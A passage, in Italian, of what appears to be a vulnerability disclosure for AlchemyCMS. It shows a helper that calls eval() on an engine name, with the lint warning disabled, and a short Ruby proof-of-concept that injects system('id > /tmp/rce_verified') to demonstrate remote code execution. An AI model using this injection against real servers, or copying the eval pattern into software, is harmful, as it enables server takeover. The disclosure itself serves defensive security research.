def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
La presenza della direttiva # rubocop:disable Security/Eval conferma che le implicazioni di sicurezza dell'uso di eval() erano note ma sono state bypassate durante l'implementazione.

3. Proof of Concept (PoC)
Vettore di Attacco
La vulnerabilità viene attivata all'interno dell'interfaccia amministrativa di AlchemyCMS durante il rendering delle viste basate su risorse (ad es. Siti o Lingue). Se un attaccante riesce a manipolare la configurazione del modulo o i dati sottostanti della risorsa, può ottenere l'esecuzione.

Script di Sfruttamento Autonomo
Il seguente script dimostra l'esecuzione arbitraria di codice simulando l'ambiente del helper vulnerabile:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload: Esegue il comando di sistema 'id' e crea un file di prova
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Prova di Esecuzione
All'esecuzione, il comando di sistema viene elaborato, concedendo all'attaccante l'accesso all'ambiente del server.